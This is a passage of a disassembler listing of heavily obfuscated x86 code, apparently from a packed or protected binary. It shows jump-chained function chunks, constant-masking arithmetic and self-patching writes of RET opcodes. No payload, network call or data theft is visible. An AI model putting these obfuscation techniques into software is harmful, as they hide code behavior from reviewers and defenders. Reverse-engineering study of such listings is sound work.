; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_753E6C:				; CODE XREF: sub_7543C5:loc_74FA60j
		jl	loc_747D29
; END OF FUNCTION CHUNK	FOR sub_7543C5
; START	OF FUNCTION CHUNK FOR sub_752FC5


loc_753E72:				; CODE XREF: sub_752FC5-43A8j
		jmp	loc_74E422
; END OF FUNCTION CHUNK	FOR sub_752FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B1F1


loc_753E77:				; CODE XREF: sub_74B1F1-514Bj
		jmp	loc_74993B
; END OF FUNCTION CHUNK	FOR sub_74B1F1
; ---------------------------------------------------------------------------
		dd 495B850Fh, 8150FFFFh, 69EFA1FBh, 3E8CE9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74985C


loc_753E8E:				; CODE XREF: sub_74985C+Aj
		jnz	loc_754A30
		jmp	loc_7560B4
; END OF FUNCTION CHUNK	FOR sub_74985C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_753E99:				; CODE XREF: sub_747C22:loc_74FCEEj
		pop	ebx
		or	ecx, 260CDFh
		sub	ecx, 3488FC0Ch
		and	ecx, 2706DB25h
		xor	ecx, 0AFB96394h
		add	ecx, ebp
		add	ecx, 55409E3Fh
		mov	[ecx], eax
		jmp	loc_74D436
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		mov	[eax], esi
		xor	ebp, 0EB401331h
		jmp	sub_752BD1
; ---------------------------------------------------------------------------


loc_753ECE:				; CODE XREF: _0z4jwtox:0074520Bj
					; _0z4jwtox:0074DF1Fj
		xor	eax, 18990384h
		rol	eax, 0Ah
		sub	eax, 89E0E126h
		push	ebx
		push	0F539BA5h
		jmp	loc_74A0D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7508A4


loc_753EE8:				; CODE XREF: sub_7508A4+6j
		pop	ebx
		xchg	ebx, [esp+0]
		mov	ebp, esp
		push	ecx
		push	eax
		jmp	loc_752A65
; END OF FUNCTION CHUNK	FOR sub_7508A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7459BC


loc_753EF5:				; CODE XREF: sub_7459BC+9AFBj
		jl	loc_74FA6A
; END OF FUNCTION CHUNK	FOR sub_7459BC
; START	OF FUNCTION CHUNK FOR sub_75263A


loc_753EFB:				; CODE XREF: sub_75263A+5j
		jmp	loc_7482D1
; END OF FUNCTION CHUNK	FOR sub_75263A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755892


loc_753F00:				; CODE XREF: sub_755892-A6E2j
		jmp	loc_7558A2
; END OF FUNCTION CHUNK	FOR sub_755892
; ---------------------------------------------------------------------------
		ror	edi, 9
		cmp	edi, ebx
		jmp	loc_746B24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7556D8


loc_753F0F:				; CODE XREF: sub_7556D8:loc_7529F6j
		xor	ebx, 2A88498Ch


loc_753F15:				; CODE XREF: _0z4jwtox:loc_74F58Ej
		jmp	loc_748118
; END OF FUNCTION CHUNK	FOR sub_7556D8

; =============== S U B	R O U T	I N E =======================================



sub_753F1A	proc near		; CODE XREF: sub_757528j
					; DATA XREF: sub_753DDE+3740o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074A812 SIZE 00000005 BYTES

		add	edi, 0C291DC8h
		popf
		xchg	edi, [esp-4+arg_0]
		jmp	loc_74A812
sub_753F1A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755B5B


loc_753F29:				; CODE XREF: sub_755B5B+4j
		cmp	ds:dword_75161C, 0
		jnz	loc_74E190
		call	nullsub_5
		call	sub_754FC6
		jmp	loc_757556
; END OF FUNCTION CHUNK	FOR sub_755B5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_753F45:				; CODE XREF: sub_74FE55:loc_747F62j
		jz	loc_7547E9
		jmp	loc_7505B6
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_753F50:				; CODE XREF: sub_746640-2A6j
		add	eax, 0E7093E19h
		push	edx
		jmp	loc_75276D
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749010


loc_753F5C:				; CODE XREF: sub_749010+7871j
		shl	esi, 7
		ja	nullsub_122
		jmp	loc_74F776
; END OF FUNCTION CHUNK	FOR sub_749010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_753F6A:				; CODE XREF: sub_7561AB:loc_74A50Dj
		mov	al, [eax]
		push	1076512Dh
		pop	edx


loc_753F72:				; CODE XREF: sub_752737:loc_746B42j
		sub	edx, 5DD7DA48h
		add	edx, 97329078h
		add	edx, ebp
		add	edx, 0B62EF87Bh
		jmp	loc_7574C3
; END OF FUNCTION CHUNK	FOR sub_7561AB

; =============== S U B	R O U T	I N E =======================================



sub_753F8B	proc near		; DATA XREF: _0z4jwtox:0074CCC6o

; FUNCTION CHUNK AT 00747ACD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00748A73 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074CE1A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 007543E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755E64 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0075719C SIZE 00000005 BYTES

		push	0C2F69D10h
		pop	eax
		or	eax, 0C95B2E9Ch
		rol	eax, 18h
		and	eax, 0DAB2730h
		rol	eax, 8
		jmp	loc_748A73
sub_753F8B	endp

; ---------------------------------------------------------------------------
		adc	eax, 0AB8DEBD0h
		sbb	esi, edi
		jmp	sub_7557E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B1F9


loc_753FB5:				; CODE XREF: sub_74B1F9:loc_751615j
		pop	ebx
		xchg	ebx, [esp+0]
		push	ecx
		push	offset loc_74CBA0
		jmp	loc_7573EB
; END OF FUNCTION CHUNK	FOR sub_74B1F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BD6F


loc_753FC4:				; CODE XREF: sub_74BD6F-396Cj
					; sub_74BD6F:loc_749AE6j
		push	offset loc_74B34B
		jmp	nullsub_125
; END OF FUNCTION CHUNK	FOR sub_74BD6F

; =============== S U B	R O U T	I N E =======================================



sub_753FCE	proc near		; CODE XREF: sub_7540D7j
					; DATA XREF: sub_74724C+CE81o

; FUNCTION CHUNK AT 00746E56 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007472EE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00749E71 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074B103 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074B899 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074C4A5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074C5E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E36A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00750785 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750993 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007526C4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00756018 SIZE 00000007 BYTES

		add	eax, ebp
		add	eax, 2ACFAC6Eh
		mov	eax, [eax]
		mov	al, [eax]
		jo	loc_74C4A5
		jmp	loc_74E36A
sub_753FCE	endp

; ---------------------------------------------------------------------------


loc_753FE5:				; CODE XREF: _0z4jwtox:loc_74B41Ej
		pop	edx
		sub	edx, 8C8C5D90h
		and	edx, 0D1C024AFh
		sub	edx, 0AAE89C54h
		rol	edx, 1Bh
		add	edx, 47C86BFEh
		xchg	edx, [esp]
		jmp	sub_746E93
; ---------------------------------------------------------------------------
		or	ebp, ecx
		jmp	sub_74DDDA
; ---------------------------------------------------------------------------


loc_754010:				; DATA XREF: sub_7557E7-623Fo
		push	0DDE232B3h
		push	offset sub_74EC22
		jmp	loc_7533BC
; ---------------------------------------------------------------------------
		push	ebx
		push	83701DB1h
		pop	ebx
		rol	ebx, 1Eh
		add	ebx, 9F65E9FCh
		jmp	loc_74D967
; ---------------------------------------------------------------------------


loc_754034:				; DATA XREF: sub_74F3E4+Eo
		and	ax, 38FFh
		cmp	ax, 20FFh
		jz	loc_747CE0
		xor	eax, eax
		jmp	loc_750960
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C3B


loc_754049:				; CODE XREF: sub_748C3B:loc_7489FCj
		jge	loc_754B36
; END OF FUNCTION CHUNK	FOR sub_748C3B
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_75404F:				; CODE XREF: sub_74CBCF+4327j
		jmp	loc_748282
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
		jl	sub_7452F3
		mov	eax, 0DB94D7D5h
		jmp	loc_754B36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514AC


loc_754064:				; CODE XREF: sub_7514AC:loc_74E3ACj
		jz	loc_752583
		cmp	eax, 4DB03E98h
		jmp	loc_7556E9
; END OF FUNCTION CHUNK	FOR sub_7514AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748DB7


loc_754075:				; CODE XREF: sub_748DB7+Fj
		call	sub_74A8F9


loc_75407A:				; CODE XREF: sub_74D782-6171j
		jmp	nullsub_123
; END OF FUNCTION CHUNK	FOR sub_748DB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749980


loc_75407F:				; CODE XREF: sub_749980:loc_748408j
					; _0z4jwtox:00748429j
		and	esi, 29DC5188h
		jns	loc_74592B
; END OF FUNCTION CHUNK	FOR sub_749980
; START	OF FUNCTION CHUNK FOR sub_745BF7


loc_75408B:				; CODE XREF: sub_745BF7+17j
		jmp	loc_74F9F2
; END OF FUNCTION CHUNK	FOR sub_745BF7
; ---------------------------------------------------------------------------
		ja	loc_754E3C
		jmp	loc_74591F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_75409B:				; CODE XREF: sub_74D23E+BB2j
		jbe	loc_753533
		sbb	edi, 7E4C6E21h
		add	ecx, edx


loc_7540A9:				; CODE XREF: sub_756826-11770j
					; _0z4jwtox:00747D41j ...
		jmp	loc_747D88
; ---------------------------------------------------------------------------


loc_7540AE:				; CODE XREF: sub_756826-E86Bj
					; sub_74D23E-519Aj
		xchg	edi, [esp+0]
		mov	ecx, edi
		jmp	loc_748BFB
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74724C


loc_7540B8:				; CODE XREF: sub_74724C+DD4Cj
		rol	eax, 0Dh
		xor	eax, 7295A8E4h
		add	eax, 656152FEh
		xor	eax, 9D6024BBh
		push	offset sub_753FCE
		jmp	nullsub_187
; END OF FUNCTION CHUNK	FOR sub_74724C

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_7540D7	proc near		; CODE XREF: sub_7508F9-3FDEj
		retn
sub_7540D7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745A78


loc_7540D8:				; CODE XREF: sub_745A78:loc_748ECDj
		test	ebp, 5607E388h
		jmp	loc_752188
; END OF FUNCTION CHUNK	FOR sub_745A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747546


loc_7540E3:				; CODE XREF: sub_747546:loc_754805j
		xchg	edx, [esp-4+arg_0]
		jmp	sub_746CF0
; END OF FUNCTION CHUNK	FOR sub_747546
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_7540EB:				; CODE XREF: sub_74D23E:loc_74AB20j
		jz	loc_74D09A
		jmp	loc_746F9D
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7510EA


loc_7540F6:				; CODE XREF: sub_7510EA-59D6j
		ror	esi, 0Ch


loc_7540F9:				; CODE XREF: sub_7462C2:loc_75148Aj
		jmp	loc_74E6D8
; END OF FUNCTION CHUNK	FOR sub_7510EA
; ---------------------------------------------------------------------------

locret_7540FE:				; CODE XREF: _0z4jwtox:0074C257j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756327


loc_7540FF:				; CODE XREF: sub_756327-9F02j
		jmp	loc_749DBC
; END OF FUNCTION CHUNK	FOR sub_756327
; ---------------------------------------------------------------------------
		sub	ecx, edi
		jmp	sub_746869
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_75410B:				; CODE XREF: sub_746640+BBAj
		jl	loc_74BC2E
		jmp	loc_75716C
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
		mov	ds:off_41F018, eax
		lea	eax, sub_745A78
		mov	byte ptr [eax],	0C3h
		jmp	loc_757433
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745A78


loc_75412A:				; CODE XREF: sub_745A78j
		xchg	edi, [esp+0]
		push	edi
		pop	edx
		pop	edi
		jmp	loc_749CFE
; END OF FUNCTION CHUNK	FOR sub_745A78
; ---------------------------------------------------------------------------
		test	edx, ebx
		jmp	loc_745F76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E531


loc_75413C:				; CODE XREF: sub_74E531:loc_754E7Aj
		or	edx, 1982CEB8h
		rol	edx, 7
		add	edx, 32754F09h
		xchg	edx, [esp+0]
		jmp	loc_756CFD
; END OF FUNCTION CHUNK	FOR sub_74E531
; ---------------------------------------------------------------------------
		jge	loc_748275
		xor	ebx, ebp
		jmp	sub_74E074
; ---------------------------------------------------------------------------


loc_754160:				; CODE XREF: _0z4jwtox:00746E66j
		jge	loc_75094C
		add	edi, ecx
		xor	ebx, 30B41EFDh
		add	eax, esi
		jmp	loc_75094C

; =============== S U B	R O U T	I N E =======================================



sub_754175	proc near		; CODE XREF: _0z4jwtox:0074974Bj
					; sub_747C39:loc_755184p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00753367 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007534C6 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00753B98 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007561D3 SIZE 00000017 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	esp, 4
		push	29F72C0Ah
		jmp	loc_7561D3
sub_754175	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_754187:				; CODE XREF: _0z4jwtox:0074FFF4j
		jmp	loc_74F636
; ---------------------------------------------------------------------------


loc_75418C:				; CODE XREF: _0z4jwtox:0074DBC6j
		jmp	loc_74709D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7508F9


loc_754191:				; CODE XREF: sub_7508F9-A4EAj
		jmp	loc_7486E5
; END OF FUNCTION CHUNK	FOR sub_7508F9
; ---------------------------------------------------------------------------


loc_754196:				; CODE XREF: _0z4jwtox:loc_753D88j
		pop	eax
		sub	eax, 0C2ED63EAh
		add	eax, 78D39BD8h
		xor	eax, 0EB38CBD9h
		or	eax, 79136563h
		xor	eax, 7B220CA3h
		jmp	loc_756C5E

; =============== S U B	R O U T	I N E =======================================



sub_7541BA	proc near		; CODE XREF: _0z4jwtox:0074961Aj
					; sub_7476BB:loc_74D6ADp

; FUNCTION CHUNK AT 00748A68 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00748CBE SIZE 0000001F BYTES
; FUNCTION CHUNK AT 007491B7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074A35D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0074A883 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074AABC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D843 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E927 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0074F380 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074FBF0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 007509DE SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0075493B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754FAA SIZE 00000011 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	2C56CB65h
		pop	eax
		sub	eax, 0A4A98A72h
		jmp	loc_74AABC
sub_7541BA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_7541CF	proc near		; CODE XREF: _0z4jwtox:0074D63Cj
					; sub_752D11:loc_74E033p

; FUNCTION CHUNK AT 0074B80E SIZE 0000000F BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	edx, 63B92F50h
		mov	edx, [edx]
		call	sub_7462C2


loc_7541E0:				; CODE XREF: sub_75422B-ECAj
		jmp	loc_74B80E
sub_7541CF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C45E


loc_7541E5:				; CODE XREF: sub_74C45E+5j
		jmp	loc_74DF88
; END OF FUNCTION CHUNK	FOR sub_74C45E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745A78


loc_7541EA:				; CODE XREF: sub_745A78+Aj
		push	edx
		call	sub_74A5E8
		mov	eax, 1171F650h
		push	offset loc_75560F
		jmp	loc_74E142
; END OF FUNCTION CHUNK	FOR sub_745A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E762


loc_7541FF:				; CODE XREF: sub_74E762+Ej
		jnz	loc_747F80
		jmp	loc_754AE9
; END OF FUNCTION CHUNK	FOR sub_74E762
; ---------------------------------------------------------------------------
		mov	eax, 0CE3062ECh
		push	esi
		push	948EA274h
		pop	esi
		jmp	loc_75769B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745C34


loc_75421B:				; CODE XREF: sub_745C34:loc_745C39j
		jz	loc_756F33
		mov	ebp, 0ED0B5ECAh
		jmp	loc_756F32
; END OF FUNCTION CHUNK	FOR sub_745C34

; =============== S U B	R O U T	I N E =======================================



sub_75422B	proc near		; CODE XREF: sub_754729:loc_745A42p
					; sub_74CF35+7C22p

; FUNCTION CHUNK AT 0075335B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00757551 SIZE 00000005 BYTES

		xor	bx, bx
		add	ebx, 10000h


loc_754234:				; CODE XREF: sub_7541CF-89B9j
					; sub_74F594+3DC0j
		jnb	loc_75335B
		call	sub_74F594


loc_75423F:				; CODE XREF: sub_746D87+Dp
					; _0z4jwtox:0074D84Ej
		xchg	eax, [esp+0]
		pop	eax
		xor	esi, 0A35153A1h
		add	esi, ebp
		add	esi, 48EEF5B3h
		mov	[esi], eax
		pop	esi
		jmp	loc_757551
sub_75422B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_754259:				; CODE XREF: sub_7490F6+BCj
		jz	loc_75008B


loc_75425F:				; CODE XREF: _0z4jwtox:007493EBj
		jmp	nullsub_172
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745644


loc_754264:				; CODE XREF: sub_745644+1E70j
		jmp	loc_748EB3
; END OF FUNCTION CHUNK	FOR sub_745644
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B1F1


loc_754269:				; CODE XREF: sub_74B1F1-4182j
		jmp	loc_746B10
; END OF FUNCTION CHUNK	FOR sub_74B1F1
; ---------------------------------------------------------------------------
		pop	ebx
		mov	edx, 995F4123h
		jmp	loc_750089
; ---------------------------------------------------------------------------


loc_754279:				; CODE XREF: _0z4jwtox:0075278Dj
		mov	ebx, [ebp+0]

; =============== S U B	R O U T	I N E =======================================



sub_75427C	proc near		; CODE XREF: sub_7463AE+6A15p

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 007493F0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074F5EE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00754BE8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00755199 SIZE 00000020 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebx
		pushf
		push	10472DC2h
		pop	ebx
		and	ebx, 5C01C483h
		jmp	loc_754BE8
sub_75427C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	esi, 8FAF7426h
		jmp	loc_74CB04
; ---------------------------------------------------------------------------
		or	edi, ecx
		jmp	sub_7571AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBB7


loc_7542A5:				; CODE XREF: sub_74CBB7:loc_750C49j
		mov	eax, [esp-4+arg_0]
		push	edx
		push	ecx
		push	69FD1C34h
		pop	ecx
		rol	ecx, 18h
		jmp	loc_7573E6
; END OF FUNCTION CHUNK	FOR sub_74CBB7
; ---------------------------------------------------------------------------
		sub	eax, ebp
		jmp	loc_756ABF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754A60


loc_7542BF:				; CODE XREF: sub_754A60+13j
		mov	ds:off_41F14C, eax
		lea	eax, sub_755F42
		mov	byte ptr [eax],	0C3h
		jmp	loc_750BB6
; END OF FUNCTION CHUNK	FOR sub_754A60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755F42


loc_7542D3:				; CODE XREF: sub_755F42j
		pop	edx
		mov	eax, [esp+0]
		push	edx
		call	sub_754A3D
		push	870FF287h
		jmp	loc_749A77
; END OF FUNCTION CHUNK	FOR sub_755F42
; ---------------------------------------------------------------------------
		rol	ebx, 1Bh
		cmp	eax, edi
		jmp	loc_746DD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_7542F1:				; CODE XREF: sub_752D11-48D0j
		jno	loc_7506CC
		cdq
		jmp	loc_74C928
; END OF FUNCTION CHUNK	FOR sub_752D11

; =============== S U B	R O U T	I N E =======================================



sub_7542FD	proc near		; DATA XREF: sub_74E693+6E64o

; FUNCTION CHUNK AT 0075359C SIZE 00000010 BYTES

		xchg	ebp, [esp+0]
		mov	eax, ebp
		pop	ebp
		or	eax, 9577C79Bh
		xor	eax, 1CB12B13h
		rol	eax, 18h
		jmp	loc_75359C
sub_7542FD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756496


loc_754317:				; CODE XREF: sub_756496-6502j
		push	offset sub_7544F1
		jmp	loc_745349
; END OF FUNCTION CHUNK	FOR sub_756496
; ---------------------------------------------------------------------------
		call	nullsub_19
		jmp	ds:dword_41F050
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750F2E


loc_75432C:				; CODE XREF: sub_750F2E+4DA1j
		jmp	nullsub_225
; END OF FUNCTION CHUNK	FOR sub_750F2E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	ds:5A00002Ah, edi
		mov	eax, [esp]
		jmp	loc_746B38
; ---------------------------------------------------------------------------
		mov	eax, 0DD1C4F2h
		push	offset sub_749D75
		jmp	loc_745A73
; ---------------------------------------------------------------------------
		jl	loc_754E44
		jmp	sub_74A279
; ---------------------------------------------------------------------------
		pushf
		sbb	ecx, 36414C61h
		adc	eax, 4682941h
		jl	loc_749A7B
		jle	loc_74B2FD
		jmp	loc_74B4B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74698F


loc_754378:				; CODE XREF: sub_74698F:loc_74FE50j
		push	2CDE01CFh
		pop	eax
		rol	eax, 8
		and	eax, 22B917BDh
		jmp	loc_752A0A
; END OF FUNCTION CHUNK	FOR sub_74698F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462FD


loc_75438C:				; CODE XREF: sub_7462FD:loc_754890j
		jnz	loc_7568D8


loc_754392:				; CODE XREF: _0z4jwtox:0074ADB2j
		jmp	loc_75720A
; END OF FUNCTION CHUNK	FOR sub_7462FD
; ---------------------------------------------------------------------------
		sbb	ecx, 2821792Dh
		push	eax
		jmp	loc_7568D8
; ---------------------------------------------------------------------------


loc_7543A3:				; DATA XREF: sub_75364C-2C83o
		push	846E37Fh
		pop	edx
		sub	edx, 0C60573A7h
		cmp	edx, 0BE08576h
		jmp	loc_754C0B
; ---------------------------------------------------------------------------


loc_7543BA:				; CODE XREF: _0z4jwtox:007463EDj
		test	ecx, 9559A817h
		jmp	loc_755329

; =============== S U B	R O U T	I N E =======================================



sub_7543C5	proc near		; CODE XREF: _0z4jwtox:00749F58j
					; sub_75247Ep

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007450EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00745ECD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00746C74 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00746E05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00747D29 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00747DE0 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0074A48E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074A4F8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074AB2A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074AEFC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074BE50 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074D938 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0074E85F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0074EBE2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074F457 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074F6ED SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074F72A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074F9D3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074FA60 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074FE71 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00750161 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007523ED SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00752A14 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00752CF1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00753410 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00753E6C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0075526D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0075571B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756418 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 007567E8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00757778 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007578C9 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		jo	loc_74EBE2
		call	sub_7562F7


loc_7543D4:				; CODE XREF: sub_755DE6+12j
		jmp	loc_757778
sub_7543C5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A94


loc_7543D9:				; CODE XREF: sub_747A94+D95Bj
		jmp	loc_756DEC
; END OF FUNCTION CHUNK	FOR sub_747A94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7559F0


loc_7543DE:				; CODE XREF: sub_7559F0-D41j
		jmp	nullsub_161
; END OF FUNCTION CHUNK	FOR sub_7559F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_7543E3:				; CODE XREF: sub_74AAC1+3C06j
		jmp	nullsub_228
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753F8B


loc_7543E8:				; CODE XREF: sub_753F8B-7160j
		jmp	nullsub_292
; END OF FUNCTION CHUNK	FOR sub_753F8B
; ---------------------------------------------------------------------------


loc_7543ED:				; CODE XREF: _0z4jwtox:00749133j
		jmp	sub_750291
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_7543F2:				; CODE XREF: sub_74D1F3:loc_756775j
		push	eax
		pop	edi
		xchg	edi, [esp-4+arg_0]
		push	0
		jmp	loc_74D002
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750638


loc_7543FE:				; CODE XREF: sub_750638:loc_753915j
		mov	eax, [ebp+var_104]
		cmp	byte ptr [eax],	0
		jmp	loc_74A0F0
; END OF FUNCTION CHUNK	FOR sub_750638
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_75440C:				; CODE XREF: sub_74FE55-149Aj
		jge	loc_7488EE
		jbe	loc_745034
		jmp	loc_75018F
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E93


loc_75441D:				; CODE XREF: sub_746E93+76B2j
		add	ebp, 0EEBDB1E6h
		not	esi
		mov	ecx, 9B2F54F7h
		jmp	loc_751E83
; END OF FUNCTION CHUNK	FOR sub_746E93
